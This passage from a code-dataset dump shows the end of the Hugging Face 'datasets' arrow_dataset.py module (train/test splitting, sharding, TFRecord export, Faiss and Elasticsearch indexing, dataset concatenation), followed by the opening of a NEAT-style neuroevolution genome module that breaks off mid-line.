indices_cache_file_name)\n return self._new_dataset_with_indices(\n fingerprint=new_fingerprint, indices_cache_file_name=indices_cache_file_name\n )\n\n permutation = generator.permutation(len(self))\n\n return self.select(\n indices=permutation,\n keep_in_memory=keep_in_memory,\n indices_cache_file_name=indices_cache_file_name,\n writer_batch_size=writer_batch_size,\n new_fingerprint=new_fingerprint,\n )\n\n @transmit_format\n @fingerprint(\n inplace=False, randomized_function=True, fingerprint_names=[\"train_new_fingerprint\", \"test_new_fingerprint\"]\n )\n def train_test_split(\n self,\n test_size: Union[float, int, None] = None,\n train_size: Union[float, int, None] = None,\n shuffle: bool = True,\n seed: Optional[int] = None,\n generator: Optional[np.random.Generator] = None,\n keep_in_memory: bool = False,\n load_from_cache_file: bool = True,\n train_indices_cache_file_name: Optional[str] = None,\n test_indices_cache_file_name: Optional[str] = None,\n writer_batch_size: Optional[int] = 1000,\n train_new_fingerprint: Optional[str] = None,\n test_new_fingerprint: Optional[str] = None,\n ) -> \"DatasetDict\":\n \"\"\"Return a dictionary (:obj:`datasets.DatsetDict`) with two random train and test subsets (`train` and `test` ``Dataset`` splits).\n Splits are created from the dataset according to `test_size`, `train_size` and `shuffle`.\n\n This method is similar to scikit-learn `train_test_split` with the omission of the stratified options.\n\n Args:\n test_size (Optional `np.random.Generator`): Size of the test split\n If float, should be between 0.0 and 1.0 and represent the proportion of the dataset to include in the test split.\n If int, represents the absolute number of test samples.\n If None, the value is set to the complement of the train size.\n If train_size is also None, it will be set to 0.25.\n train_size (Optional `np.random.Generator`): Size of the train split\n If float, should be between 0.0 and 1.0 and represent the proportion of the dataset to include in the train split.\n If int, represents the absolute number of train samples.\n If None, the value is automatically set to the complement of the test size.\n shuffle (Optional `bool`, defaults to `True`): Whether or not to shuffle the data before splitting.\n seed (Optional `int`): A seed to initialize the default BitGenerator if ``generator=None``.\n If None, then fresh, unpredictable entropy will be pulled from the OS.\n If an int or array_like[ints] is passed, then it will be passed to SeedSequence to derive the initial BitGenerator state.\n generator (Optional `np.random.Generator`): Numpy random Generator to use to compute the permutation of the dataset rows.\n If ``generator=None`` (default), uses np.random.default_rng (the default BitGenerator (PCG64) of NumPy).\n keep_in_memory (`bool`, defaults to `False`): Keep the splits indices in memory instead of writing it to a cache file.\n load_from_cache_file (`bool`, defaults to `True`): If a cache file storing the splits indices\n can be identified, use it instead of recomputing.\n train_cache_file_name (`Optional[str]`, defaults to `None`): Provide the name of a cache file to use to store the\n train split indices instead of the automatically generated cache file name.\n test_cache_file_name (`Optional[str]`, defaults to `None`): Provide the name of a cache file to use to store the\n test split indices instead of the automatically generated cache file name.\n writer_batch_size (`int`, defaults to `1000`): Number of rows per write operation for the cache file writer.\n Higher value gives smaller cache files, lower value consume less temporary memory while running `.map()`.\n train_new_fingerprint (`Optional[str]`, defaults to `None`): the new fingerprint of the train set after transform.\n If `None`, the new fingerprint is computed using a hash of the previous fingerprint, and the transform arguments\n test_new_fingerprint (`Optional[str]`, defaults to `None`): the new fingerprint of the test set after transform.\n If `None`, the new fingerprint is computed using a hash of the previous fingerprint, and the transform arguments\n \"\"\"\n from .dataset_dict import DatasetDict # import here because of circular dependency\n\n if len(self.list_indexes()) > 0:\n raise DatasetTransformationNotAllowedError(\n \"Using `.train_test_split` on a dataset with attached indexes is not allowed. You can first run `.drop_index() to remove your index and then re-add it.\"\n )\n # If the array is empty we do nothing\n if len(self) == 0:\n return DatasetDict({\"train\": self, \"test\": self})\n\n if test_size is None and train_size is None:\n test_size = 0.25\n\n # Safety checks similar to scikit-learn's ones.\n # (adapted from https://github.com/scikit-learn/scikit-learn/blob/fd237278e895b42abe8d8d09105cbb82dc2cbba7/sklearn/model_selection/_split.py#L1750)\n n_samples = len(self)\n if (\n isinstance(test_size, int)\n and (test_size >= n_samples or test_size <= 0)\n or isinstance(test_size, float)\n and (test_size <= 0 or test_size >= 1)\n ):\n raise ValueError(\n f\"test_size={test_size} should be either positive and smaller \"\n f\"than the number of samples {n_samples} or a float in the (0, 1) range\"\n )\n\n if (\n isinstance(train_size, int)\n and (train_size >= n_samples or train_size <= 0)\n or isinstance(train_size, float)\n and (train_size <= 0 or train_size >= 1)\n ):\n raise ValueError(\n f\"train_size={train_size} should be either positive and smaller \"\n f\"than the number of samples {n_samples} or a float in the (0, 1) range\"\n )\n\n if train_size is not None and not isinstance(train_size, (int, float)):\n raise ValueError(f\"Invalid value for train_size: {train_size} of type {type(train_size)}\")\n if test_size is not None and not isinstance(test_size, (int, float)):\n raise ValueError(f\"Invalid value for test_size: {test_size} of type {type(test_size)}\")\n\n if isinstance(train_size, float) and isinstance(test_size, float) and train_size + test_size > 1:\n raise ValueError(\n f\"The sum of test_size and train_size = {train_size + test_size}, should be in the (0, 1)\"\n \" range. Reduce test_size and/or train_size.\"\n )\n\n if isinstance(test_size, float):\n n_test = ceil(test_size * n_samples)\n elif isinstance(test_size, int):\n n_test = float(test_size)\n\n if isinstance(train_size, float):\n n_train = floor(train_size * n_samples)\n elif isinstance(train_size, int):\n n_train = float(train_size)\n\n if train_size is None:\n n_train = n_samples - n_test\n elif test_size is None:\n n_test = n_samples - n_train\n\n if n_train + n_test > n_samples:\n raise ValueError(\n f\"The sum of train_size and test_size = {n_train + n_test}, \"\n \"should be smaller than the number of \"\n f\"samples {n_samples}. Reduce test_size and/or \"\n \"train_size.\"\n )\n\n n_train, n_test = int(n_train), int(n_test)\n\n if n_train == 0:\n raise ValueError(\n f\"With n_samples={n_samples}, test_size={test_size} and train_size={train_size}, the \"\n \"resulting train set will be empty. Adjust any of the \"\n \"aforementioned parameters.\"\n )\n\n if generator is None and shuffle is True:\n if seed is None:\n seed = np.random.get_state()[1][0]\n _ = np.random.random() # do 1 step of rng\n generator = np.random.default_rng(seed)\n\n # Check if we've already cached this computation (indexed by a hash)\n if self._data_files:\n if train_indices_cache_file_name is None or test_indices_cache_file_name is None:\n # we create a unique hash from the function, current dataset file and the mapping args\n\n if train_indices_cache_file_name is None:\n train_indices_cache_file_name = self._get_cache_file_path(train_new_fingerprint)\n if test_indices_cache_file_name is None:\n test_indices_cache_file_name = self._get_cache_file_path(test_new_fingerprint)\n if (\n os.path.exists(train_indices_cache_file_name)\n and os.path.exists(test_indices_cache_file_name)\n and load_from_cache_file\n ):\n logger.warning(\n \"Loading cached split indices for dataset at %s and %s\",\n train_indices_cache_file_name,\n test_indices_cache_file_name,\n )\n return DatasetDict(\n {\n \"train\": self._new_dataset_with_indices(\n fingerprint=train_new_fingerprint, indices_cache_file_name=train_indices_cache_file_name\n ),\n \"test\": self._new_dataset_with_indices(\n fingerprint=test_new_fingerprint, indices_cache_file_name=test_indices_cache_file_name\n ),\n }\n )\n\n if not shuffle:\n train_indices = np.arange(n_train)\n test_indices = np.arange(n_train, n_train + n_test)\n else:\n # random partition\n permutation = generator.permutation(len(self))\n test_indices = permutation[:n_test]\n train_indices = permutation[n_test : (n_test + n_train)]\n\n train_split = self.select(\n indices=train_indices,\n keep_in_memory=keep_in_memory,\n indices_cache_file_name=train_indices_cache_file_name,\n writer_batch_size=writer_batch_size,\n new_fingerprint=train_new_fingerprint,\n )\n test_split = self.select(\n indices=test_indices,\n keep_in_memory=keep_in_memory,\n indices_cache_file_name=test_indices_cache_file_name,\n writer_batch_size=writer_batch_size,\n new_fingerprint=test_new_fingerprint,\n )\n\n return DatasetDict({\"train\": train_split, \"test\": test_split})\n\n def shard(\n self,\n num_shards: int,\n index: int,\n contiguous: bool = False,\n keep_in_memory: bool = False,\n indices_cache_file_name: Optional[str] = None,\n writer_batch_size: Optional[int] = 1000,\n ) -> \"Dataset\":\n \"\"\"Return the `index`-nth shard from dataset split into `num_shards` pieces.\n\n This shards deterministically. dset.shard(n, i) will contain all elements of dset whose\n index mod n = i.\n\n dset.shard(n, i, contiguous=True) will instead split dset into contiguous chunks,\n so it can be easily concatenated back together after processing. If n % i == l, then the\n first l shards will have length (n // i) + 1, and the remaining shards will have length (n // i).\n `datasets.concatenate([dset.shard(n, i, contiguous=True) for i in range(n)])` will return\n a dataset with the same order as the original.\n\n Be sure to shard before using any randomizing operator (such as shuffle).\n It is best if the shard operator is used early in the dataset pipeline.\n\n\n Args:\n num_shards (`int`): How many shards to split the dataset into.\n index (`int`): Which shard to select and return.\n contiguous: (`bool`, defaults to `False`): Whether to select contiguous blocks of indices for shards.\n keep_in_memory (`bool`, defaults to `False`): Keep the dataset in memory instead of writing it to a cache file.\n load_from_cache_file (`bool`, defaults to `True`): If a cache file storing the current computation from `function`\n can be identified, use it instead of recomputing.\n indices_cache_file_name (`Optional[str]`, defaults to `None`): Provide the name of a cache file to use to store the\n indices of each shard instead of the automatically generated cache file name.\n writer_batch_size (`int`, defaults to `1000`): Number of rows per write operation for the cache file writer.\n Higher value gives smaller cache files, lower value consume less temporary memory while running `.map()`.\n \"\"\"\n assert 0 <= index < num_shards, \"index should be in [0, num_shards-1]\"\n if contiguous:\n div = len(self) // num_shards\n mod = len(self) % num_shards\n start = div * index + min(index, mod)\n end = start + div + (1 if index < mod else 0)\n indices = np.arange(start, end)\n else:\n indices = np.arange(index, len(self), num_shards)\n\n return self.select(\n indices=indices,\n keep_in_memory=keep_in_memory,\n indices_cache_file_name=indices_cache_file_name,\n writer_batch_size=writer_batch_size,\n )\n\n def export(\n self,\n filename: str,\n format: str = \"tfrecord\",\n ):\n \"\"\"Writes the Arrow dataset to a TFRecord file.\n\n The dataset must already be in tensorflow format. The records will be written with\n keys from `dataset._format_columns`.\n\n Args:\n `filename` (`str`): The filename, including the .tfrecord extension, to write to.\n `format` (`Optional[str]`, default: `\"tfrecord\"`): The type of output file. Currently this is a no-op, as\n TFRecords are the only option. This enables a more flexible function signature\n later.\n \"\"\"\n try:\n import tensorflow as tf # noqa: F401\n except ImportError:\n logger.error(\"Tensorflow needs to be installed to be able to return Tensorflow tensors.\")\n\n # From https://www.tensorflow.org/tutorials/load_data/tfrecord\n def _bytes_feature(values):\n \"\"\"Returns a bytes_list from a list of string / byte.\"\"\"\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=values))\n\n def _float_feature(values):\n \"\"\"Returns a float_list from a list of float / double.\"\"\"\n return tf.train.Feature(float_list=tf.train.FloatList(value=values))\n\n def _int64_feature(values):\n \"\"\"Returns an int64_list from a list of bool / enum / int / uint.\"\"\"\n return tf.train.Feature(int64_list=tf.train.Int64List(value=values))\n\n def _feature(values: np.ndarray) -> \"tf.train.Feature\":\n \"\"\"Typechecks `values` and returns the corresponding tf.train.Feature.\"\"\"\n if values.ndim == 0:\n values = values.item()\n if isinstance(values, np.ndarray):\n if values.dtype == np.dtype(float):\n return _float_feature(values)\n elif values.dtype == np.dtype(int):\n return _int64_feature(values)\n elif values.dtype == np.dtype(str) or (\n values.dtype == np.dtype(object) and len(values) > 0 and isinstance(values[0], str)\n ):\n return _bytes_feature([v.encode() for v in values])\n else:\n raise ValueError(\n f\"values={values} is an np.ndarray with items of dtype {values[0].dtype}, which cannot be serialized\"\n )\n elif isinstance(values, float):\n return _float_feature([values])\n elif isinstance(values, int):\n return _int64_feature([values])\n elif isinstance(values, str):\n return _bytes_feature([values.encode()])\n else:\n raise ValueError(f\"values={values} has dtype {values.dtype}, which cannot be serialized\")\n\n def serialize_example(ex):\n feature = {key: _feature(value) for key, value in ex.items()}\n example_proto = tf.train.Example(features=tf.train.Features(feature=feature))\n return example_proto.SerializeToString()\n\n def tf_serialize_example(ex):\n tf_string = tf.py_function(serialize_example, (ex,), tf.string)\n return tf.reshape(tf_string, ())\n\n def generator():\n for ex in self:\n yield serialize_example(ex)\n\n assert self._format_type == \"numpy\", \"Dataset format must be numpy before exporting\"\n assert filename.endswith(\".tfrecord\")\n tf_dataset = tf.data.Dataset.from_generator(generator, output_types=tf.string, output_shapes=())\n writer = tf.data.experimental.TFRecordWriter(filename)\n logger.info(f\"Writing TFRecord to {filename}\")\n writer.write(tf_dataset)\n logger.info(f\"Finished writing TFRecord to {filename}\")\n\n def add_faiss_index(\n self,\n column: str,\n index_name: Optional[str] = None,\n device: Optional[int] = None,\n string_factory: Optional[str] = None,\n metric_type: Optional[int] = None,\n custom_index: Optional[\"faiss.Index\"] = None, # noqa: F821\n train_size: Optional[int] = None,\n faiss_verbose: bool = False,\n dtype=np.float32,\n ):\n \"\"\"Add a dense index using Faiss for fast retrieval.\n By default the index is done over the vectors of the specified column.\n You can specify :obj:`device` if you want to run it on GPU (:obj:`device` must be the GPU index).\n You can find more information about Faiss here:\n\n - For `string factory <https://github.com/facebookresearch/faiss/wiki/The-index-factory>`__\n\n Args:\n column (:obj:`str`):\n The column of the vectors to add to the index.\n index_name (Optional :obj:`str`):\n The index_name/identifier of the index.\n This is the index_name that is used to call :func:`datasets.Dataset.get_nearest_examples` or :func:`datasets.Dataset.search`.\n By default it corresponds to `column`.\n device (Optional :obj:`int`):\n If not None, this is the index of the GPU to use.\n By default it uses the CPU.\n string_factory (Optional :obj:`str`):\n This is passed to the index factory of Faiss to create the index.\n Default index class is ``IndexFlat``.\n metric_type (Optional :obj:`int`):\n Type of metric. Ex: faiss.faiss.METRIC_INNER_PRODUCT or faiss.METRIC_L2.\n custom_index (Optional :obj:`faiss.Index`):\n Custom Faiss index that you already have instantiated and configured for your needs.\n train_size (Optional :obj:`int`):\n If the index needs a training step, specifies how many vectors will be used to train the index.\n faiss_verbose (:obj:`bool`, defaults to False):\n Enable the verbosity of the Faiss index.\n dtype (data-type): The dtype of the numpy arrays that are indexed.\n Default is ``np.float32``.\n\n Example::\n\n ds = datasets.load_dataset('crime_and_punish', split='train')\n ds_with_embeddings = ds.map(lambda example: {'embeddings': embed(example['line']}))\n ds_with_embeddings.add_faiss_index(column='embeddings')\n # query\n scores, retrieved_examples = ds_with_embeddings.get_nearest_examples('embeddings', embed('my new query'), k=10)\n # save index\n ds_with_embeddings.save_faiss_index('embeddings', 'my_index.faiss')\n\n ds = datasets.load_dataset('crime_and_punish', split='train')\n # load index\n ds.load_faiss_index('embeddings', 'my_index.faiss')\n # query\n scores, retrieved_examples = ds.get_nearest_examples('embeddings', embed('my new query'), k=10)\n \"\"\"\n with self.formatted_as(type=\"numpy\", columns=[column], dtype=dtype):\n super().add_faiss_index(\n column=column,\n index_name=index_name,\n device=device,\n string_factory=string_factory,\n metric_type=metric_type,\n custom_index=custom_index,\n train_size=train_size,\n faiss_verbose=faiss_verbose,\n )\n return self\n\n def add_faiss_index_from_external_arrays(\n self,\n external_arrays: np.array,\n index_name: str,\n device: Optional[int] = None,\n string_factory: Optional[str] = None,\n metric_type: Optional[int] = None,\n custom_index: Optional[\"faiss.Index\"] = None, # noqa: F821\n train_size: Optional[int] = None,\n faiss_verbose: bool = False,\n dtype=np.float32,\n ):\n \"\"\"Add a dense index using Faiss for fast retrieval.\n The index is created using the vectors of `external_arrays`.\n You can specify `device` if you want to run it on GPU (`device` must be the GPU index).\n You can find more information about Faiss here:\n - For `string factory <https://github.com/facebookresearch/faiss/wiki/The-index-factory>`__\n\n Args:\n external_arrays (:obj:`np.array`):\n If you want to use arrays from outside the lib for the index, you can set :obj:`external_arrays`.\n It will use :obj:`external_arrays` to create the Faiss index instead of the arrays in the given :obj:`column`.\n index_name (:obj:`str`):\n The index_name/identifier of the index.\n This is the index_name that is used to call :func:`datasets.Dataset.get_nearest_examples` or :func:`datasets.Dataset.search`.\n device (Optional :obj:`int`):\n If not None, this is the index of the GPU to use.\n By default it uses the CPU.\n string_factory (Optional :obj:`str`):\n This is passed to the index factory of Faiss to create the index.\n Default index class is ``IndexFlat``.\n metric_type (Optional :obj:`int`):\n Type of metric. Ex: faiss.faiss.METRIC_INNER_PRODUCT or faiss.METRIC_L2.\n custom_index (Optional :obj:`faiss.Index`):\n Custom Faiss index that you already have instantiated and configured for your needs.\n train_size (Optional :obj:`int`):\n If the index needs a training step, specifies how many vectors will be used to train the index.\n faiss_verbose (:obj:`bool`, defaults to False):\n Enable the verbosity of the Faiss index.\n dtype (:obj:`numpy.dtype`): The dtype of the numpy arrays that are indexed. Default is np.float32.\n \"\"\"\n super().add_faiss_index_from_external_arrays(\n external_arrays=external_arrays.astype(dtype),\n index_name=index_name,\n device=device,\n string_factory=string_factory,\n metric_type=metric_type,\n custom_index=custom_index,\n train_size=train_size,\n faiss_verbose=faiss_verbose,\n )\n\n def add_elasticsearch_index(\n self,\n column: str,\n index_name: Optional[str] = None,\n host: Optional[str] = None,\n port: Optional[int] = None,\n es_client: Optional[\"elasticsearch.Elasticsearch\"] = None, # noqa: F821\n es_index_name: Optional[str] = None,\n es_index_config: Optional[dict] = None,\n ):\n \"\"\"Add a text index using ElasticSearch for fast retrieval. This is done in-place.\n\n Args:\n column (:obj:`str`):\n The column of the documents to add to the index.\n index_name (Optional :obj:`str`):\n The index_name/identifier of the index.\n This is the index name that is used to call :func:`datasets.Dataset.get_nearest_examples` or :func:`datasets.Dataset.search`.\n By default it corresponds to :obj:`column`.\n documents (:obj:`Union[List[str], datasets.Dataset]`):\n The documents to index. It can be a :class:`datasets.Dataset`.\n es_client (:obj:`elasticsearch.Elasticsearch`):\n The elasticsearch client used to create the index.\n es_index_name (Optional :obj:`str`):\n The elasticsearch index name used to create the index.\n es_index_config (Optional :obj:`dict`):\n The configuration of the elasticsearch index.\n Default config is:\n\n Config::\n\n {\n \"settings\": {\n \"number_of_shards\": 1,\n \"analysis\": {\"analyzer\": {\"stop_standard\": {\"type\": \"standard\", \" stopwords\": \"_english_\"}}},\n },\n \"mappings\": {\n \"properties\": {\n \"text\": {\n \"type\": \"text\",\n \"analyzer\": \"standard\",\n \"similarity\": \"BM25\"\n },\n }\n },\n }\n\n Example::\n\n es_client = elasticsearch.Elasticsearch()\n ds = datasets.load_dataset('crime_and_punish', split='train')\n ds.add_elasticsearch_index(column='line', es_client=es_client, es_index_name=\"my_es_index\")\n scores, retrieved_examples = ds.get_nearest_examples('line', 'my new query', k=10)\n\n \"\"\"\n with self.formatted_as(type=None, columns=[column]):\n super().add_elasticsearch_index(\n column=column, host=host, port=port, es_client=es_client, index_name=index_name\n )\n return self\n\n\ndef concatenate_datasets(\n dsets: List[Dataset],\n info: Optional[Any] = None,\n split: Optional[Any] = None,\n):\n \"\"\"\n Converts a list of :obj:``datasets.Dataset`` with the same schema into a single :obj:``datasets.Dataset``.\n\n Args:\n dsets (:obj:``List[datasets.Dataset]``): A list of Datasets to concatenate\n info (:obj:``datasets.DatasetInfo``, `optional`, defaults to :obj:``None``): If specified, the dataset info containing info like\n description, citation, etc.\n split (:obj:``datasets.NamedSplit``, `optional`, defaults to :obj:``None``): If specified, the name of the dataset split.\n \"\"\"\n if not all([dset.features.type == dsets[0].features.type for dset in dsets]):\n raise ValueError(\"Features must match for all datasets\")\n\n # Datasets tables should all come from disk or memory, but not a mix\n\n dsets_in_memory = [not dset._data_files for dset in dsets]\n if any(dset_in_memory != dsets_in_memory[0] for dset_in_memory in dsets_in_memory):\n raise ValueError(\n \"Datasets should ALL come from memory, or should ALL come from disk.\\n\"\n \"However datasets {} come from memory and datasets {} come from disk.\".format(\n [i for i in range(len(dsets)) if dsets_in_memory[i]],\n [i for i in range(len(dsets)) if not dsets_in_memory[i]],\n )\n )\n\n # Find common format or reset format\n\n format = dsets[0].format\n if any(dset.format != format for dset in dsets):\n format = {}\n logger.info(\"Some of the datasets have disparate format. Resetting the format of the concatenated dataset.\")\n\n # Concatenate tables\n\n table = pa.concat_tables(dset._data for dset in dsets if len(dset._data) > 0)\n data_files = [f for dset in dsets for f in dset._data_files]\n inplace_history = [h for dset in dsets for h in dset._inplace_history]\n\n def apply_offset_to_indices_table(table, offset):\n if offset == 0:\n return table\n else:\n array = table[\"indices\"]\n if isinstance(array, pa.ChunkedArray):\n new_array = pa.array(np.concatenate([c.to_numpy() for c in array.chunks]) + offset, pa.uint64())\n else:\n new_array = pa.array(array.to_numpy() + offset, pa.uint64())\n return pa.Table.from_arrays([new_array], names=[\"indices\"])\n\n # Concatenate indices if they exist\n\n if any(dset._indices is not None for dset in dsets):\n\n # Datasets indices tables should all come from disk or memory, but not a mix\n # Datasets with no indices tables are replaced with a dataset with an indicies table in memory\n\n indices_mappings_in_memory = [not dset._indices_data_files for dset in dsets]\n if any(\n indices_mapping_in_memory != indices_mappings_in_memory[0]\n for indices_mapping_in_memory in indices_mappings_in_memory\n ):\n raise ValueError(\n \"Datasets' indices should ALL come from memory, or should ALL come from disk.\\n\"\n \"However datasets' indices {} come from memory and datasets' indices {} come from disk.\".format(\n [i for i in range(len(dsets)) if indices_mappings_in_memory[i]],\n [i for i in range(len(dsets)) if not indices_mappings_in_memory[i]],\n )\n )\n indices_in_memory = indices_mappings_in_memory[0]\n\n # Create missing indices tables in memory\n\n if indices_in_memory:\n for i in range(len(dsets)):\n if dsets[i]._indices is None:\n dsets[i] = dsets[i].select(range(len(dsets[i])))\n assert all(dset._indices is not None for dset in dsets), \"each dataset should have an indices table\"\n\n # An offset needs to be applied to the indices before concatenating\n\n indices_tables = []\n offset = 0\n for dset in dsets:\n indices_tables.append(apply_offset_to_indices_table(dset._indices, offset))\n offset += len(dset._data)\n\n # Concatenate indices\n\n indices_tables = [t for t in indices_tables if len(t) > 0]\n if indices_tables:\n indices_table = pa.concat_tables(indices_tables)\n else:\n indices_table = pa.Table.from_batches([], schema=pa.schema({\"indices\": pa.int64()}))\n indices_data_files = None # can't reuse same files as an offset was applied\n else:\n indices_table = None\n indices_data_files = None\n if info is None:\n info = DatasetInfo.from_merge([dset.info for dset in dsets])\n fingerprint = update_fingerprint(\n \"\".join(dset._fingerprint for dset in dsets), concatenate_datasets, {\"info\": info, \"split\": split}\n )\n concatenated_dataset = Dataset(\n table,\n info=info,\n split=split,\n data_files=data_files,\n indices_table=indices_table,\n indices_data_files=indices_data_files,\n fingerprint=fingerprint,\n inplace_history=inplace_history,\n )\n concatenated_dataset.set_format(**format)\n return concatenated_dataset\n\n\n# This is outside Dataset.filter as it needs to be picklable for multiprocessing\n\n# transform the filter function into the map function\ndef map_function(batch, *args, function=None, with_indices=None, **fn_kwargs):\n assert function is not None and with_indices is not None\n result = defaultdict(list)\n num_examples = len(batch[next(iter(batch.keys()))])\n input_columns = fn_kwargs.pop(\"input_columns\", None)\n\n # create single examples\n for i in range(num_examples):\n example = map_nested(lambda x: x[i], batch, dict_only=True)\n fn_args = [example] if input_columns is None else [example[col] for col in input_columns]\n\n # check if example should be filtered or not\n if with_indices:\n keep_example = function(*fn_args, args[0][i], **fn_kwargs)\n else:\n keep_example = function(*fn_args, **fn_kwargs)\n\n assert isinstance(\n keep_example, bool\n ), f\"The filter function returns a variable of type {type(keep_example)}, but should return a variable of type `bool`.\"\n # if example shall be kept add to result\n if keep_example:\n for key in batch.keys():\n result[key].append(example[key])\n\n # if no example shall be kept, init with empty list\n if bool(result) is False:\n for key in batch.keys():\n result[key] = []\n\n return result\n","repo_name":"MachineLearningBCAM/Minimax-risk-classifiers-NeurIPS-2020","sub_path":"venv/lib/python3.6/site-packages/datasets/arrow_dataset.py","file_name":"arrow_dataset.py","file_ext":"py","file_size_in_byte":125607,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"27417817750","text":"\"\"\"Implementation based on NEAT-Python neat-python/neat/genome.py:\nhttps://github.com/CodeReclaimers/neat-python/blob/master/neat/genome.py\"\"\"\n\nimport random\nimport sys\nfrom itertools import count\n\nimport neuroevolution.activation_functions as activation_functions\nimport neuroevolution.aggregations as aggregations\nimport neuroevolution.genes as genes\nimport neuroevolution.graphs as graphs\nfrom neuroevolution.config import ConfigParameter, write_pretty_params\n\n\n\n\nclass DefaultGenomeConfig:\n allowed_connectivity = [\"unconnnected\", \"fs_neat_nohidden\", \"fs_neat\", \"fs_neat_hidden\", \"full_nodirect\",\n \"full\", \"full_direct\", \"partial_nodirect\", \"partial\", \"partial_direct\"]\n\n def __init__(self, params):\n self.activation_defs = activation_functions.str_to_activation\n self.aggregation_defs = aggregations.str_to_aggregation\n self._params = [ConfigParameter(\"n_in\", int),\n ConfigParameter(\"n_out\", int),\n ConfigParameter(\"n_hid\", int),\n ConfigParameter(\"feed_forward\", bool),\n ConfigParameter(\"compatibility_disjoint_coefficient\", float),\n ConfigParameter(\"compatibility_weight_coefficient\", float),\n ConfigParameter(\"conn_add_prob\", float),\n ConfigParameter(\"conn_delete_prob\", float),\n ConfigParameter(\"node_add_prob\", float),\n ConfigParameter(\"node_delete_prob\", float),\n ConfigParameter(\"single_structural_mutation\", bool, \"false\"),\n ConfigParameter(\"structural_mutation_surer\", str, \"default\"),\n ConfigParameter(\"initial_connection\", str, \"unconnected\")]\n\n self.node_gene_type = params[\"node_gene_type\"]\n self._params += self.node_gene_type.get_config_params()\n self.connection_gene_type = params[\"connection_gene_type\"]\n self._params += self.connection_gene_type.get_config_params()\n\n for p in self._params:\n setattr(self, p.name, p.interpret(params))\n\n self.input_keys = [-i - 1 for i in range(self.n_in)]\n self.output_keys = [i for i in range(self.n_out)]\n\n self.connection_fraction = None\n\n if \"partial\" in self.initial_connection:\n c, p = self.initial_connection.split()\n self.initial_connection = c\n self.connection_fraction = float(p)\n if not (0 <= self.connection_fraction <= 1):\n raise RuntimeError(\"'partial' connection must between [0.0, 1.0]\")\n\n assert self.initial_connection in self.allowed_connectivity\n\n if self.structural_mutation_surer.lower() in [\"true\", \"1\", \"yes\", \"on\"]:\n self.structural_mutation_surer = \"true\"\n elif self.structural_mutation_surer.lower() in [\"false\", \"0\", \"no\", \"off\"]:\n self.structural_mutation_surer = \"false\"\n elif self.structural_mutation_surer.lower() == \"default\":\n self.structural_mutation_surer = \"default\"\n else:\n raise RuntimeError(\"Invalid structural_mutation_surer %r\" % self.structural_mutation_surer)\n\n self.node_indexer = None\n\n def add_activation(self, name, func):\n self.activation_defs[name] = func\n\n def add_aggregation(self, name, func):\n self.aggregation_defs[name] = func\n\n def save(self, f):\n if 'partial' in self.initial_connection:\n if not (0 <= self.connection_fraction <= 1):\n raise RuntimeError(\"'partial' connection value must be between [0.0, 1.0]\")\n f.write(\"initial_connection = {0} {1} \\n\".format(self.initial_connection, self.connection_fraction))\n else:\n f.write(\"initial_connection = {0} \\n\".format(self.initial_connection))\n\n assert self.initial_connection in self.allowed_connectivity\n write_pretty_params(f, self, [p for p in self._params if \"initial_connection\" not in p.name])\n\n def get_new_node_key(self, node_dict):\n if self.node_indexer is None:\n self.node_indexer = count(max(list(node_dict.keys())) + 1)\n new_id = next(self.node_indexer)\n assert new_id not in node_dict\n return new_id\n\n def check_structural_mutation_surer(self):\n if self.structural_mutation_surer == \"true\":\n return True\n elif self.structural_mutation_surer == \"false\":\n return False\n elif self.structural_mutation_surer == \"default\":\n return self.single_structural_mutation\n else:\n raise RuntimeError(\"Invalid structural_mutation_surer {!r}\".format(self.structural_mutation_surer))\n\n\n\n\nclass DefaultGenome:\n def __init__(self, key):\n self.key = key\n self.connections = {}\n self.nodes = {}\n self.fitness = None\n\n def __str__(self):\n string = \"Key: {0}\\nFitness: {1}\\nNodes:\".format(self.key, self.fitness)\n for k, ng in self.nodes.items():\n string += \"\\n\\t{0} {1!s}\".format(k, ng)\n string += \"\\nConnections:\"\n connections = list(self.connections.values())\n connections.sort()\n for c in connections:\n string += \"\\n\\t\" + str(c)\n return string\n\n @classmethod\n def parse_config(cls, param_dict):\n param_dict['node_gene_type'] = genes.DefaultNodeGene\n param_dict['connection_gene_type'] = genes.DefaultConnectionGene\n return DefaultGenomeConfig(param_dict)\n\n @classmethod\n def write_config(cls, f, config):\n config.save(f)\n\n def configure_new(self, config):\n for node_key in config.output_keys:\n self.nodes[node_key] = self.create_node(config, node_key)\n\n if config.n_hid > 0:\n for i in range(config.n_hid):\n node_key = config.get_new_node_key(self.nodes)\n assert node_key not in self.nodes\n node = self.create_node(config, node_key)\n self.nodes[node_key] = node\n\n if \"fs_neat\" in config.initial_connection:\n if config.initial_connection == \"fs_neat_nohidden\":\n self.connect_fs_neat_nohidden(config)\n elif config.initial_connection == \"fs_neat_hidden\":\n self.connect_fs_neat_hidden(config)\n else:\n if config.n_hid > 0:\n print(\"Warning: initial_connection = fs_neat won't connect to hidden nodes;\",\n \"\\tif this is desired, set initial_connection = fs_nohidden;\",\n \"\\tif if not, set initial_connection = fs_neat_hidden\", sep=\"\\n\", file=sys.stderr)\n self.connect_partial_nodirect(config)\n\n elif \"full\" in config.initial_connection:\n if config.initial_connection == \"full_nodirect\":\n self.connect_full_nodirect(config)\n elif config.initial_connection == \"full_direct\":\n self.connect_full_direct(config)\n else:\n if config.n_hid > 0:\n print(\"Warning: initial_connection = full w/ hid nodes won't do direct inp-outp connections;\",\n \"\\tif this is desired, set initial_connection = full_nodirect;\",\n \"\\tif not, set initial_connection = full_direct\", sep='\\n', file=sys.stderr)\n self.connect_full_nodirect(config)\n\n elif \"partial\" in config.initial_connection:\n if config.initial_connection == \"partial_nodirect\":\n self.connect_partial_nodirect(config)\n elif config.initial_connection == \"partial_direct\":\n self.connect_partial_direct(config)\n else:\n if config.n_hid > 0:\n print(\"Warning: initial_connection = partial with hidden nodes will\\\n not do direct input-output connections;\",\n \"\\tif this is desired, set initial_connection = partial_nodirect {0};\".format(\n config.connection_fraction),\n \"\\tif not, set initial_connection = partial_direct {0}\".format(\n config.connection_fraction),\n sep='\\n', file=sys.stderr)\n self.connect_partial_nodirect(config)\n\n def configure_crossover(self, genome1, genome2, config):\n assert isinstance(genome1.fitness, (int, float))\n assert isinstance(genome2.fitness, (int, float))\n if genome1.fitness > genome2.fitness:\n parent1, parent2 = genome1, genome2\n else:\n parent1, parent2 = genome2, genome1\n\n for key, cg1 in parent1.connections.items():\n cg2 = parent2.connections.get(key) #'.get(key)' instead of '[key]' to return None if '[key]' doesn't 